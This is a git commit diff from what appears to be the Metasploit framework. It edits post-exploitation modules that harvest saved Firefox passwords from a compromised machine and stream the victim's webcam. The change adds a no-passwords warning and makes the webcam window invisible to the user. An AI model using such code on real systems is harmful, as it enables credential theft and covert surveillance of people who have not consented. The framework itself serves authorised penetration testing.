Make window invisible.
parent
496be5c336
commit
a45a5631f5
|
@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post
|
|||
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
|
||||
end
|
||||
|
||||
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
|
||||
print_good("Saved #{passwords.length} passwords to #{file}")
|
||||
if passwords.length > 0
|
||||
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
|
||||
print_good("Saved #{passwords.length} passwords to #{file}")
|
||||
else
|
||||
print_warning("No passwords were found in Firefox.")
|
||||
end
|
||||
rescue JSON::ParserError => e
|
||||
print_warning(results)
|
||||
end
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
var html = "#{Rex::Text.encode_base64(interface)}";
|
||||
var url = #{url};
|
||||
AppShellService.hiddenDOMWindow.openDialog(url, 'xxx');
|
||||
AppShellService.hiddenDOMWindow.open(url, '_self');
|
||||
send("Streaming webcam...");
|
||||
|
||||
} catch (e) {
|
||||
|
|
Loading…
Reference in New Issue